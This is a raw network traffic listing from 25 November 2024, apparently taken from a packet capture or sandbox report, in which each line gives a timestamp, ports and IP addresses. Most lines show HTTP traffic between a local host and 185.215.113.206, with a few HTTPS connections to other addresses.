Nov 25, 2024 07:53:51.042804956 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.043404102 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.043453932 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.043498039 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.043605089 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.044234991 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.044277906 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.044420004 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.045126915 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.045152903 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.045176029 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.045198917 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.046365023 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.046391964 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.046475887 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.046652079 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.046706915 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.047005892 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.047059059 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.047499895 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.047516108 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.047564030 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.048310041 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.048347950 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.048391104 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.048475027 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.049091101 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.049146891 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.049213886 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.049851894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.050024033 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.050088882 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.050731897 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.050827980 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.050889969 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.051590919 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.051640034 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.051660061 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.051717997 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.052334070 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.052409887 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.052437067 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.052587986 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.053170919 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.053195953 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.053225040 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.053256035 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.106291056 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.106352091 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.106415987 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.106468916 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.106626987 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.106722116 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.106729984 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.106823921 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.107239962 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.107291937 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.107343912 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.107398033 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.108082056 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.108140945 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.108226061 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.108355999 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.108910084 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.108963013 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.109029055 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.109090090 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.109669924 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.109720945 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.109807014 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.109859943 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.110495090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.110547066 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.110610962 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.110658884 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.154067993 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.154107094 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.154131889 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.154161930 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.154488087 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.154558897 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.154726982 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.155363083 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.155410051 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.155421972 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.155466080 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.155987978 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.156040907 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.156167030 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.156217098 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.156766891 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.156826973 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.156832933 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.156869888 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.157576084 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.157629013 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.157681942 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.157747030 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.158404112 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.158453941 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.158469915 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.158577919 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.159210920 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.159261942 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.159311056 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.159497976 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.160111904 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.160128117 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.160207987 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.160861969 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.160912991 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.160955906 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.161011934 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.161858082 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.161906004 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.161997080 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.162061930 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.162584066 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.162646055 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.162656069 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.162852049 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.163258076 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.163307905 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.163356066 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.163409948 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.164259911 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.164307117 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.164345980 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.164428949 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.164895058 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.164992094 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.165059090 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.165724039 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.165781021 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.165826082 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.166498899 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.166511059 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.166559935 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.166591883 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.166867971 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.223890066 CET	49914	443	192.168.2.6	20.189.173.24
Nov 25, 2024 07:53:51.223929882 CET	443	49914	20.189.173.24	192.168.2.6
Nov 25, 2024 07:53:51.224117994 CET	49914	443	192.168.2.6	20.189.173.24
Nov 25, 2024 07:53:51.224340916 CET	49914	443	192.168.2.6	20.189.173.24
Nov 25, 2024 07:53:51.224354982 CET	443	49914	20.189.173.24	192.168.2.6
Nov 25, 2024 07:53:51.231203079 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.231219053 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.231265068 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.231290102 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.231548071 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.231656075 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.231863976 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.232336044 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.232392073 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.232435942 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.232476950 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.233114004 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.233186007 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.233385086 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.233436108 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.233443975 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.233490944 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.234214067 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.234292030 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.234335899 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.234380960 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.235039949 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.235066891 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.235132933 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.235835075 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.235889912 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.235940933 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.236702919 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.236759901 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.236805916 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.236845016 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.237488031 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.237564087 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.237720966 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.238266945 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.238336086 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.238372087 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.238444090 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.239154100 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.239211082 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.239223003 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.239305973 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.239938974 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.239998102 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.240034103 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.240087986 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.240776062 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.240814924 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.240833998 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.240922928 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.241736889 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.241877079 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.241945982 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.244940996 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.244998932 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.245078087 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.245094061 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.245110035 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.245116949 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.245165110 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.245218992 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.245270014 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.245285988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.245325089 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.245332956 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.245682955 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.245735884 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.245749950 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.245817900 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.246453047 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.246493101 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.246515036 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.246668100 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.247203112 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.247263908 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.247308016 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.247349977 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.248163939 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.248181105 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.248223066 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.248245001 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.248826027 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.248884916 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.248888016 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.249042034 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.249682903 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.249742031 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.249783039 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.249838114 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.250515938 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.250574112 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.250638962 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.251301050 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.251372099 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.251391888 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.251513958 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.252095938 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.252118111 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.252161980 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.252183914 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.252916098 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.252959013 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.253038883 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.253101110 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.253715038 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.253773928 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.253829956 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.254023075 CET	443	49901	204.79.197.239	192.168.2.6
Nov 25, 2024 07:53:51.254122019 CET	443	49901	204.79.197.239	192.168.2.6
Nov 25, 2024 07:53:51.254376888 CET	49901	443	192.168.2.6	204.79.197.239
Nov 25, 2024 07:53:51.254494905 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.254508972 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.254594088 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.254654884 CET	49901	443	192.168.2.6	204.79.197.239
Nov 25, 2024 07:53:51.254663944 CET	443	49901	204.79.197.239	192.168.2.6
Nov 25, 2024 07:53:51.272249937 CET	49915	443	192.168.2.6	23.101.168.44
Nov 25, 2024 07:53:51.272275925 CET	443	49915	23.101.168.44	192.168.2.6
Nov 25, 2024 07:53:51.272372007 CET	49915	443	192.168.2.6	23.101.168.44
Nov 25, 2024 07:53:51.272555113 CET	49915	443	192.168.2.6	23.101.168.44
Nov 25, 2024 07:53:51.272566080 CET	443	49915	23.101.168.44	192.168.2.6
Nov 25, 2024 07:53:51.307764053 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.307852030 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.307893991 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.308047056 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.308130026 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.308199883 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.308228016 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.308295965 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.308964014 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.309012890 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.309024096 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.309108973 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.309751987 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.309801102 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.309848070 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.310045958 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.310553074 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.310607910 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.310678959 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.310775042 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.311448097 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.311542988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.311543941 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.311635017 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.312200069 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.312253952 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.312261105 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.312326908 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.359483004 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.359580994 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.359595060 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.359664917 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.359882116 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.359937906 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.359972000 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.360014915 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.360687017 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.360824108 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.360878944 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.361526966 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.361783028 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.361843109 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.361907959 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.361957073 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.362565994 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.362683058 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.362729073 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.363399029 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.363500118 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.363564014 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.364178896 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.364231110 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.364285946 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.364531994 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.364994049 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.365046024 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.365063906 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.365210056 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.365820885 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.365849972 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.365876913 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.365900993 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.366635084 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.366758108 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.366823912 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.367659092 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.367714882 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.367742062 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.367830992 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.368376970 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.368431091 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.368504047 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.368545055 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.369201899 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.369256020 CET	49825	80	192.168.2.6	185.215.113.206
